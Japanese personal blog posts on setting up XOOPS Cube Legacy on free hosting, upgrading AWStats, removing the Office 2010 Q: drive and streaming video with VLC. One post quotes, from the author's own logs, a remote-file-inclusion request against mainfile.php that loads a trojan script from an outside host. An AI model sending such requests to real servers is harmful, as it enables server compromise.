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XOOPS Cube Legacy導入記-#4。

 本題に入る前に久しぶりに鳥さんの話題を(笑)。
 昨日の朝の通勤途中,例の川でウ(鵜)を10羽ばかり見た。時間がギリギリだったし,車を止めるところはないしで,証拠写真が撮れなかった。同僚に話したら,「へえっ」と言っていたが,家でははっきりと「見間違いだ。信じられない」と言われた。(orz)多分,同僚も内心は同じ気持ちだったんだろうなぁ。
 で,今朝証拠をデジカメに収めようと出勤時間を見計らって家を出たんだが,悪い予感が当たった。1羽もいない。実は昨日は雪催いで,ウの群れはそこに滞在しているというのではなく,一時休息という様子だったのだ。
 残念だなぁ。諦めきれないけど,こういうことはタイミング勝負なんだね。(sigh)

 本題に移行。
 juneさんから
> @pagesの広告のせいで?本来表示されるOK・キャンセルボタンを画面外にはじき出しているようです。
という情報を頂いた。で,これを改善すべく@PAGESの制約に従いつつFCKeditor on XOOPSのファイル名を変更してみた。今のところ,おおもとの表示枠と画像のアップロードの部分だけである。

  1. editor/fckeditor.htmlの名をmenu.htmlに変更。
    fckeditor/fckeditor.js(153): var sFile = ‘fckeditor.html’ ;を var sFile = ‘menu.html’ ; に変更。
  2. editor/fckdialog.htmlの名をheader.htmlに変更。
    これに関連して,以下のファイル内のfckdialog.htmlの名をheader.html変更。

    editor/js/fckeditorcode_gecko.js(100)
    editor/js/fckeditorcode_ie.js(101)
    editor/_source/internals/fckdialog.js(36)
  3. editor/dialog/fck_image.htmlの名をheader.html変更。
    これに関連して,以下のファイル内のfck_image.htmlの名をheader.html変更。
    editor/js/fckeditorcode_gecko.js(84)
    editor/js/fckeditorcode_ie.js(85)
    editor/_source/internals/fckcommands.js(63)
    editor/_source/internals/fckcommands.js(123)
  4. editor/dialog/fck_image/fck_image_preview.htmlの名をmenu.htmlに変更。
    これに関連して,以下のファイル内のfck_image_preview.htmlの名をmenu.html変更。
    editor/dialog/header.html(144):  <——— fck_image.htmlの名前を変えたもの。
    また,fck_image_preview.htmlの中には以下の文章が記載されている。これは,実際に使われるときには消えるのが本来ではないかと思うのだが,消えてくれないので,削除。
    Lorem
    ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas feugiat consequat diam.
    Maecenas metus. Vivamus diam purus, cursus a, commodo non, facilisis vitae, nulla.
    Aenean dictum lacinia tortor. Nunc iaculis, nibh non iaculis aliquam, orci felis
    euismod neque, sed ornare massa mauris sed velit. Nulla pretium mi et risus. Fusce
    mi pede, tempor id, cursus ac, ullamcorper nec, enim. Sed tortor. Curabitur molestie.
    Duis velit augue, condimentum at, ultrices a, luctus ut, orci. Donec pellentesque
    egestas eros. Integer cursus, augue in cursus faucibus, eros pede bibendum sem,
    in tempus tellus justo quis ligula. Etiam eget tortor. Vestibulum rutrum, est ut
    placerat elementum, lectus nisl aliquam velit, tempor aliquam eros nunc nonummy
    metus. In eros metus, gravida a, gravida sed, lobortis id, turpis. Ut ultrices,
    ipsum at venenatis fringilla, sem nulla lacinia tellus, eget aliquet turpis mauris
    non enim. Nam turpis. Suspendisse lacinia. Curabitur ac tortor ut ipsum egestas
    elementum. Nunc imperdiet gravida mauris.

追記: 正直な話,@PAGESではFCKeditorは使いにくいようだ。フレーム仕様でないいいエディタはないかな。

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XOOPS Cube Legacy導入記-#3。

 最終的に何に使うことになるかは分からないが,現在の自分のサイト構成をXOOPSに模倣させるという方向で,練習を行うつもり。

  1. 「互換モジュール」 »» 「モジュールの管理」に入る。モジュール名が並んでいて,[pico]と[d3blog]の背景がピンクになっている。この色の違いはなんなんだろうと思っていたのだが,ピンクの場合ここで名前を変えるとホームページでの表示名を変えられるらしい。名を書き換え(→My restoration),下にあるアップデートをクリック。確認が出るのでもう一度クリック。
  2. TODOSでのcherrytigerさんの投稿をもとにfckeditorをダウンロードして解凍し,commonフォルダごと,XoXにアップロード。
    ファイルアップロードを利用するために,XoX/uploads の下に,fckeditor というフォルダを作ってパーミッションを705にする。
  3. 「My restoration(←picoのこと) 」 »» 「一般設定」に行って,本文編集エディタ を[common/fckeditor]に変更。いつも書き忘れるが,当然「送信」。
  4. 「My restoration 」 »» 「コンテンツ一括管理」 »» 「コンテンツ作成」と,移動。表題に「My server’s restoration note」と書き入れ,本家の記事を編集エリアにコピペしてみた。
  5. 「My restoration(←picoのこと) 」 »» 「ブロック管理/モジュールアクセス権限」に行って,コンテンツ内容を表示しないように設定。
  6. FTPクライアントで前もってXoX/uploads/fckeditorに画像をアップロードし,fckeditorを使って画像を表示して見た。ここで,uploadsディレクトリのパーミッションを707に変更。このせいでかなりハマった。@PAGESでは実行可能を付与しておかないとまともに動かないようだ。

追記:結局,cacheのパーミッションも707に変更。picoの一般設定書き換えで,PHPエラーが出る。

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XOOPS Cube Legacy導入記-#2。

 3・4日放りっぱなしだった,XOOPSを弄ってみる。なにはともあれ,ログインして管理メニューをじっくり探索。その結果,以下のようなことを行った。

  1. 「互換モジュール」 »» 「ブロックの管理」 »» 「ブロックのインストール」から互換モジュールの[検索]をインストール。表示サイドを[サイドブロック-右],アクセス権のあるグループを[サイト管理者・登録ユーザ・ゲスト]にする。他は,デフォルトのまま。
  2. 「互換モジュール」 »» 「ブロックの管理」 »» 「ブロックのインストール」から互換モジュールの[ブログ カレンダー]をインストール。表示サイドを[サイドブロック-右],並び順を[1],表示先のモジュールを[すべてのモジュール],アクセス権のあるグループを[サイト管理者・登録ユーザ・ゲスト]にする。他は,デフォルトのまま。

 結局,これだけしかしなかった。(苦)

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XOOPS

mainfile.php狙いの不正アクセス。

 今日は,寒かった。昨日から南に見える例のお山は雪を頂いていたが,今朝は北に見える山も雪を被っていた。初雪である。まぁ,家の辺まで降ったわけではありませんが……

 ところで,12月5日にXOOPSを導入して以来,mainfile.php狙いの不正アクセスがApacheのログに多く記録されている。
mainfile.php?MAIN_PATH=http://www.all3c.com///images/mono/20100907/app/functions/response.txt?
mainfile.php?id
なんちゃらで,libwww-perlを利用したものである。自鯖にはmainfile.phpはないので,すべて404エラーになっている。@PAGESのほうではまだアクセスログを見ていないので分からないが,やっぱりmainfile.phpは有名な名前なんだね。

 MoovableTypeでも,WordPressでもコンフィグを狙うアクセスは多いけど,有名どころのアプリをそのままの名で設置するときは,指示されているセキュリティ関係のオプションはきっちりやらないと危ないよ。
Trojan-Spy.PHP.Mailar.h
 ところで,aguse.jp越えで h ttp://www.all3c.com///images/mono/20100907/app/functions/response.txt? にアクセスしたら,右の画像が表示された。カスペルスキー,えらい。

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AWStats7.0へのアップグレード。

投稿アップデート情報  追記(2012/1/11)  追記2(2013/1/9)

 XOOPSのほうも気になるのだが,一昨日(7日)から忙しいのでちょっとお預けである。初体験のシステムなので,流石にもう少し気分が落ち着かないと……しんどい。
 ところで12月5日,しばらく前にベータ版の出ていたAWStats7.0が正式リリースされた。簡単に済むと思うので,先にこちらを6.95→7.0へアップグレードして見ようと思う。

【手順】

  1. awstats-7.0.zipをダウンロードする。
  2. ローカルで解凍する。
  3. httpd_confをもとにhttpd-awstats.confを作り,PATHを環境に合わせて書き換える。Apacheのconfextraに置く。       <<—— 今回はアップグレードなので,前のを使う。
  4. httpd.confをあけて,以下の2行を付け加える。
    # Awstats settings
    Include conf/extra/httpd-awstats.conf       <<—— 今回はアップグレードなので,既に済んでいる。
  5. ドキュメントルートにawstatsフォルダを作り,その中にcss,icon,classes,jsの4フォルダを移動する。
  6. httpd.confをあけて,CustomLog “logs/access.log” commonをコメントアウトし,CustomLog “logs/access.log” combinedをアンコメントする。<<—— 今回はアップグレードなので,既に済んでいる。
  7. cgi-bin下のawstats.model.confをawstats.myserverdomain.confにリネームする。
    awstats.myserverdomain.confをあけて以下のパラメータを書き直す。
    – LogFileパラメータ
    – LogTypeパラメータ
    – LogFormatパラメータ
    – DirIconsパラメータ
    – SiteDomainパラメータ
    – HostAliasesパラメータ
    – DnsLookUpパラメータ
    – AllowAccessFromWebToFollowingIPAddressesパラメータ
    – DefaultFileパラメータ

    これについては,ナンやらチョコチョコ変わっているようなので,新しいawstats.model.confを見直しながら,再設定した。

  8. awredir.pl,awstats.plの1行めを自分のサーバのperlの置き所のパスに直す。
    (#!ドライブ文字:/~/~/perl なんちゃらです。)
  9. cgi-binフォルダの内容を,そっくりサーバのcgi-binに移動する。
  10. perl awstats.pl -config=myserverdomain -update を実行。

 (注)普通はファイルのアップロードが入るのだが,自鯖で直に触っているのでそれはなし。

 前バージョンとの不整合は特にない模様。6.95のデータも問題なく使える。

追記(2012/1/11):
 AWStats7.0 を ActivePerl-5.14.2.1402-MSWin32-x86-295342.msi 上で使った時の不具合とその解決法について「本家のお世話-#21。」に書いてある。同じ不具合が起こるか,同じ解決法が役立つかどうかはわからないが,必要があれば合わせて読んでください。

追記2(2013/1/9):
 AWStats7.1へのアップデートを書いた。 patch.exe の使い方も書いてあるので,ナンだったらご覧ください。

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XOOPS

XOOPS Cube Legacy導入記

 いつものことだが,今回もTODOSの話に触発されて,XOOPS Cube Legacyを導入してみた。導入先は自鯖ではなく,先日ちょっと遊んだ後そのままになっていた@PAGES。
 XOOPS Cube Legacyではデータベースが必要だが,@PAGESの無料サービスでは登録時に作られるもの一つしかデータベースが使えない。先日のWordPressでこれを使用する形になっている。そのデータベースにXOOPSのテーブルを追加ということでもよかったのだが,@PAGESのWordPressには大したことはやっていなかったので,すっきりさせるためにまずFTPクライアントで接続して,WordPress関連のすべてのファイルを削除した。その後,「アカウント管理ページ」から「ブラウザからデータベースを操作する」(←phpMyAdminを使う操作です。)に入ってテーブルもすべて削除。

 これでXOOPS Cube Legacyがさらな状態で導入できる。
 手順は以下の通り。
 (注) Package_Legacy_2_1_8a.zipに含まれるdocs内のINSTALL.ja.htmlの記述と,ver.2.1.8aのダウンロードページのリリースノートのページのサイドバーのリンクから跳べるインストールの解説ページのうち,「XOOPS Cube Legacy をインストールしてみよう!(魚拓です)」を参考にした。

  1. Package_Legacy_2_1_8a.zipをダウンロード
  2. Package_Legacy_2_1_8a.zipを解凍。
  3. FTPクライアントでアクセスして,public_htmlにXoXディレクトリを作成。(ここにXOOPSを入れる。名前は適当。もちろんXOOPSのままでもよいし,public_htmlにじかにファイルをアップロードしてもよい。)パーミッションは705。
  4. 解凍で出来たフォルダ内のhtmlフォルダのすべてを,XoXディレクトリにアップロード。
  5. 文字コードをUTF-8にするために,解凍フォルダ内のextrasextra_languagesja_utf8htmlの内容を,XoXディレクトリに追加アップロード。
  6. http://www22.atpages.jp/~o6asan/XoX/ にアクセスする。
  7. 画面指示に従って進めるが,準備のところで,「・uploads/、cache/およびtemplates_c/ディレクトリと、mainfile.phpファイルをPHPから書込み可能にする。」とあるので,3つのディレクトリのパーミッションを706に,mainfile.phpファイルを606に変更。
  8. 「データベース、およびパス・URLの設定」については,アカウント管理ページの「データベース(mysql)利用情報」を参照しながら記入。
  9. ここまではすんなり行って,インストール第2ステップへ。
  10. ところがここで,
    Warning [Xoops]: Smarty error: problem writing temporary file ‘該当ファイル名’ in file class/smarty/Smarty.class.php line 1093
    Warning [PHP]: include() [function.include]: Unable to access 該当.php in file class/smarty/Smarty.class.php line 1256
    Warning [PHP]: include(該当.php) [function.include]: failed to open stream: Permission denied in file class/smarty/Smarty.class.php line 1256
    Warning [PHP]: include() [function.include]: Failed opening ‘該当.php’ for inclusion (include_path=’.:/usr/local/lib/php’) in file class/smarty/Smarty.class.php line 1256
    が出たので,templates_cのパーミッションを707に変更。サーバの絶対パスなどが入るので上記では消してあるが,実は,該当と書いてある部分でtemplates_cがらみが分かる。
    706でPHPが書き込み可,707で実行可になるので,XOOPSのメッセージ通りなら本来は706で大丈夫なはずだが,このあたり,PHPの環境で違うのかもしれない。
    12/11(Sat) uploadsのパーミッションを707に変更。これを706にしていたせいで,FCKeditor で画像アップロードでハマちゃった(痛ッ)。@PAGESでは実行可能を付与しておかなくてはいけないようだ。
    cacheについても同様かもしれないが,エラーが出るまで待っておこう。
  11. Xoopsのサイト管理者名とパスワードを設定。
  12. ログイン後,必須モジュールとpmを導入。
  13. 「インストール完了!」が表示され,安全のためにinstall ディレクトリの削除がうながされたので,対処後ページを再読み込み。
  14. 右掲の画面が表示された。
  15. 管理者メニューに移動すると,mainfile.phpへの書き込みを禁止するようにうながされたので,パーミッションを404に変更。
    mainfile.phpをローカルにバックアップ。
  16. 「互換モジュール・全般設定」を行う。ほぼ,デフォルトのまま。
  17. 「ユーザーモジュール・一般設定」を行う。ほぼ,デフォルトのまま。

  以上で,下準備は完了。後は何に使うかによって,テーマやモジュールを追加していくということのようだ。
  何に使うかが一番問題だが,実際に自鯖に導入するなら,サイトの統合用に使うのがいいかもしれないと思っている。

    追記:

  • テーマを替えて見た。
    基本色は黒と決めているので,http://www.theme4u.net/xoopsthemearchive から fydarkblack.zip をダウンロードして入れた。アップロード場所はthemesフォルダに解凍したfydarkblackごと。その後サイトからログインして,「互換モジュール」→「テーマの管理」と行き,アクティベート。
    ついでにlogo.gifとファビコンを替えた。
  • 追記2:

  • cherrytiger さんのご指導で,altsysを入れて見た。サイトの説明によると,システム管理をしやすくしてくれるらしい。当りまえだろうが,見かけは変わらない。
    2011/1/2(Sun) 書き忘れていたこと。XOOPS_TRUST_PATHについてはドキュメントルート以外に設置するのがいいらしいが,無料レンタルサーバでは無理なことが多い。今回もドキュメントルートに設置せざるをえなかった。で,ディレクトリ名をランダム生成の文字列に変更した。
  • 追記3:

  • cherrytiger さんのご指導で,Protectorを入れて見た。サイトの説明によると,悪意ある攻撃から守ってくれるらしい。当りまえだろうが,見かけは変わらない。
    ところで,「Protector」の「セキュリティガイド」タグにおいて,mainfile.phpにパッチが当たっていないとのメッセージが出ていた。
    「当てたんだけどなぁ」と思いつつ,TODOSのcherrytiger さんの書き込みを見直したら,私が当てた「●XOOPS Cube Legacy 2.1へのインストール」のパッチではなく,一般的なほうを当てていた。「へぇ」と思いつつ,書き直したら「非推奨」メッセージが消えた。
    もうひとつは,’allow_url_fopen’ : on 「非推奨」なんだが,これは多分php.iniの中だから,@PAGESに頼んでみるかね。

    • PHP.iniの[Fopen wrappers]において
      allow_url_fopen = On
      になっているようですが,特別に何か使っているための仕様でしょうか。
      そうでなければ,気持ちが悪いのでOffにしていただけませんか。
    • というのを送ってみた。(12/6)

  • 追記4:

  • cherrytiger さんのご指導で,picoを入れて見た。サイトの説明によると,静的コンテンツ用モジュールらしい。当りまえだろうが,見かけは変わらない。と書いたけど,ちょっと変わったね。「トップ」と「ホーム」はどういう使いわけなんだろうね。
  • 追記5:(12/6)

  • cherrytiger さんのご指導で,d3blogを入れて見た。これを利用するのに早速altsysがいるらしい。で,これがD3版Xoopsブログシステムです。
    ファイルのアップロードにおいては以下の点に留意。

    • extra/html/class/smarty/plugins以下にあるsmartyプラグインのアップ先
      XC2.0.x 系を使っている場合は公開側/class/smarty/plugins以下へということで,こっちは普通。
      XCL2.1.xを使っている場合はtrust_path側/libs/smartypluginsへアップし,html/preload下にあるファイルを公開側へアップ。
      なんとも微妙なディレクトリ名の違いだねぇ。

    d3blogの使い方を参考にセッティングをやってみた。

    • 「管理者メニュー」→「D3ブログ」→「カテゴリ管理」と進み,カテゴリ「EverydayLife」を作成。
    • 「パミッション管理」で各グループの権限を設定。
    • 「ブロック管理/モジュールアクセス権限」/「言語定数管理」この2つがよくわからない。ひとまず,「ブロック管理/モジュールアクセス権限」のゲストに対して,「D3ブログ (1.08) モジュールアクセス権限」を与え,あとはデフォルトのまま。これでいいのかな?
    • 「CSSマネジャー」当面は,一般設定でダイナミックCSSを選択。
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everyday life

縦書きエンジン「涅槃」について

 話の発端は,10月に書いた「菊のこと」ですが,縦書きエンジン「涅槃」にはまりました。東アジアの言葉はやはり縦書きがデフォルトですね。
 早急に主張しないと縦書きが読みやすいと感じる人々が,中国(台湾も含めて)・朝鮮(南北)・日本にいなくなってしまうかもしれません。ベトナムやモンゴルの縦書きは疾うの昔につぶれてしまいました。ここのブログも基本は横書きです。
 わが国も含めた三国の縦書きは,ネット時代になってから風前の灯です。わが国ではこれに,携帯小説が拍車をかけています。他の二国はどうなんでしょうか?
 小説などを印刷された本で読む人が減り,若い世代には逆に縦書きだと読みづらいと感じる人が増えています。W3Cでは懸案として日本語組版処理の要件(日本語版)があるようですが,いつになったら通るんでしょうか。私自身は,仕事関係の文書などは横書き,小説などは縦書きのほうが読みやすいようです。特に,古典などを横書きで与えられると読むのが苦痛です。意味まで取りにくい気がします。皆さんは,どうでしょうか。
 「菊のこと」で引用した聊斎志異と清貧譚について,縦書きバージョンを作りました。表面上はうちのサイトになっていますが,もとのサイトをはっきり明示し,アクセスされた時には,もとサイトにもアクセスされるように配慮しました。それだけでよいのかどうか分かりませんが,私自身が自分の翻訳を利用されるときにこれなら許せるという形態にしました。
 相手方がもともと縦書きになっていればリンクを貼るだけでいいので,話が簡単なんですがねぇ。

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Windows

Office 2010 Home and Businessのローカルディスク(Q:)

 TODOSの話題関連で,Windows LiveにレジストしてSkyDriveを試してみたのだが,そのときにOffice 2010 Home and Business(試用版)をインストールした。

 SkyDriveは試しただけで継続して使う気もなく,WordやExcelの関連付けがOffice 2010 Home and Businessに変更されて使いにくいこと甚だしかったので,すぐにOffice 2010をアンインストした。

 Office 2010をダウンロード・インストされた方はご存じだと思うが,仮想ドライブ「ローカルディスク(Q:)」というのが作られる。これがOffice 2010本体をアンインストしても消えない。どうやら,Office 2010をすぐに使用できる仮想化されたサービスに変換するためにMicrosoft SoftGrid Application Virtualizationを利用しているらしい。で,これがらみがOffice 2010クイック実行アプリケーション,コンパネにこの名があったのでアンインストしたら,無事ローカルディスク(Q:)が消えた。

 ところでこのローカルディスク(Q:),Office 2010のベータ版のころから問題児のようで,ググってみるといろいろ書き込みがあった。初期のころの情報ではレジストリを操作して消す方法が載っていた。これは,HKCUの\Policies\ExplorerにNoDrives:00010000とNoViewOnDrive:00010000を追加するという方法だったが,なんとなく気持ち悪い。どこかに追加されたものの影響をさらに何か追加して消すというのはねぇ。まぁ,初めのころは情報も少ないから,SoftGridがらみをレジストリから綺麗に手動で消すのは難しくて,仕方なかったんだろうね。

 SkyDriveだけど,ブラウザ上だけでの編集しか使わないのなら,Office 2010 Home and Business(試用版)は必要ないので,アンインストしても使用に支障はない。

追記:
 ちょっと,自分で誤解かなと思ったこと。
 「HKCUの\Policies\ExplorerにNoDrives:00010000とNoViewOnDrive:00010000を追加するという方法」は,Office2010関係をアンインストしないで(Q:)の表示を消すためってことかな?

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everyday life

近間の秋。

 この間から,「紅葉狩り,紅葉狩り」と思っていたのだが,なかなか行けないので,昨日,近間で気持ちをなだめてきた。しかし,写り悪いね。デジカメ動画。腕の問題かな?(笑)

 ことしのもみじ,写っている紅は目には綺麗だったんだけど,昨日うまく行き当らなかった銀杏の黄色はなんかさえない気がする。パッとした黄色じゃなくて,なんとなく赤が混じっているのだ。皆さんのところはどうだろうか。他にも見慣れぬ景色としては,刈り取られた田んぼの稲の青さがある。早くに刈り取られ残った株からまた青々と伸びている。今まで,関心がなくて気付かなかっただけなのかなぁ。ひどく違和感のある景色だが……

 昨日の空はスゴク靄っていて,秋というより春のような色だった。黄砂のせいらしい。黄砂は昔からのことだが,酷さは年々増している気がする。どう考えてもお隣の国の治山治水が荒廃しているせいだろう。
 わが国も,高度成長期には随分な汚染をまき散らし,今も太平洋の小国に対しての廃棄物による迷惑のかけ方は酷いものがあるが,お隣は土地が広くて人が多いからね。このままいくと,近隣の諸国は大変だよ。もっとしっかり協力体制を組んでいかなきゃ。
 文句を言うだけでも駄目だし,言うことを聞いているだけでも駄目だし,難しい問題だけどね。自分も含めてだけど,日本人は「高飛車でなくしかも剛直で気長な外交」というものが苦手だから。でも,名ではなく実をとるのはうまい民族だったはずなんだけどなぁ。どの辺から変なことになっちゃったんだろう。最近の情勢を見ているとなんだか,名も実もとれなくなっているような感じがする。しんどいね。

 ところで,話は変わるが,職場のオフィスが古いので,.dotxや.xlsxをもらったときいつも困っていた。家に持って帰ってファイル形式を変えたり,頼める相手のときは,形式を変えてもう一度送ってもらったりと。今日,ふっと思ってOpenOffice.Org最新版(3.2)で試してみたら,ビンゴ!!!
 職場のシス管にインストールするように進めてみよう。

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stream via mmshということで……。

投稿アップデート情報  追記5(2012/1/3)  追記6(2013/11/23)

(蜜柑と柿) 前項について,少し改善した(つもり)。HTTP経由だったのをmmsにして,トランスコードをWMVにした。これだとIEで見るときのプレイヤーとして,WMPが使える。
 バッチファイルは
   cd C:”Program Files”VideoLANVLC
   ↑↑ カレントディレクトリをVideoLANのディレクトリに変更。
   vlc “実際の動画ファイルのフルパス” –loop
   ↑↑ 上の行と下の2行は実際は1行になる。
   :sout=#transcode{vcodec=WMV2,vb=512,fps=25,scale=0,acodec=wma2,ab=128,channels=2,
   samplerate=44100}:std{access=mmsh,mux=asfh,dst=example.com:1235}
に変更。

 ブログへの埋め込みは

    <OBJECT ID="Player" width="320" height="240"
        CLASSID="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">
      <PARAM name="autoStart" value="False">
      <param name="AutoLoop" value="True" />
      <PARAM name="URL" value="mms://example.com:1235">
       <embed type="application/x-vlc-plugin"
        pluginspage="http://www.videolan.org"
        id="vlc"
        AutoLoop="True" AutoPlay="True"
        width="320" height="240"
        target="mmsh://example.com:1235"
        Volume="100"
        />
    </OBJECT>

に変更。WMPの方はコントロールが表示されるので,自動再生をやめたが,VideoLANの方は相変わらずコントロールがうまく動かないので,自動スタートのまま。

 前よりは幾分よくなったと思うのだが,FireFoxのクラッシュの頻度が更に増えて困っている。オフィシャルのサイトでもVer.1.1.4でのストリーミングのときによく起こるとの報告があってるようだが,解決策はまだ見出せていない。

VideoLANのインストール追記:
 上記のように直した結果,IE*on Windows*ではほぼ問題なく再生されるようになった。
 他のブラウザ上でもx-vlc-pluginがインストールされている場合は,完全に正常にとは言えないが,何とか再生される。しかし,AutoPlayにしているにもかかわらず,これは全く効いていないようだし,とにかくクラッシュが多い。プラグインに何か問題がありそう。現在,解決策を模索中。

 x-vlc-pluginがインストールされていない場合は,VideoLANをローカルにインストールする必要がある。インストール時に「モジラ・プラグイン」にチェックを入れて有効にすること。それから,「ファイルタイプの関連付け」のチェックは外した方が無難。何しろ何にでも対応しているから。
x-vlc-plugin
追記2:
 x-vlc-pluginがインストールされているかどうかの確認方法だが,多くのブラウザでアドレスバーに「about:plugins」を入力するとプラグインの一覧表が表示される。別コマンドの場合もあるので,「about:plugins」が機能しない場合は各自調べてください。我が家のFireFoxの場合,右図のようになっている。

追記3:
 > VideoLANの方は相変わらずコントロールがうまく動かないので,自動スタートのまま。
 と,書いたのだが,これについては解決。メソッドの書き方が間違っていて,私が使っていたのは,古いバージョン用だったようだ。
 embed部分を以下のように直したら,再生・停止が効くようになった。

      <embed type="application/x-vlc-plugin"
        pluginspage="http://www.videolan.org"
        name="fruits"
        autoplay="no" loop="yes" width="280" height="210"
        src="mmsh://example.com:1235" />
      <br />
      <a href="javascript:;" onclick='document.fruits.playlist.play()'>再生</a>    
      <a href="javascript:;" onclick='document.fruits.playlist.stop()'>停止</a>

 width="280" height="210"にしたのは,「再生」「停止」も込みでもと窓の大きさに合わせるためで,本質的な意味はない。
 相変わらずクラッシュがよくならない。クライアントサイドで解決できそうな書き込みは見つけたが,サーバサイドで何とかしたいのだ。

追記4:
 困っていたFireFoxのクラッシュだが,他にも困っている人がいるようで,こんな書き込みを見つけた。
 http://forum.videolan.org/viewtopic.php?f=14&t=79194
今のところ,確定的な解決法はだれも見つけていない模様。で,最後の人が,Ver.1.1.3のほうがいくらかいいと書いてあったので,ローカルのvlcをバージョン・ダウンしてみた。実際に,少しましになったような気がする。
 Ver.1.1.3はここからダウンロードできる。ダウン・バージョン時の注意は前の奴を綺麗に削除すること。コンパネからのアンインストだけだと,VideoLanフォルダが残ってこのなかにいろいろあるので,これは手動で削除しておいた方がいいようだ。
 ところで,VideoLanのストリーミングだと本当にキャッシュも何も残らないようだ。ということは,まともなストリーミングができているということかな?私のチェックが甘いということもあり得るが……

 Ver.1.1.5が出たので入れてみた。もれなく付いていたクラッシュは出なくなったようだ。

追記5(2012/1/3):
 配信を再開した。

追記6(2013/11/23):
  VLC media player の Version2.1.1 からどうしても今までのバッチが使えないようで,仕方ないので, transcode を H.264 + MP3 に変更し,ここでのテスト配信は停止した。新しいテスト配信は,「stream via mmshということで……-#2。」で行っている。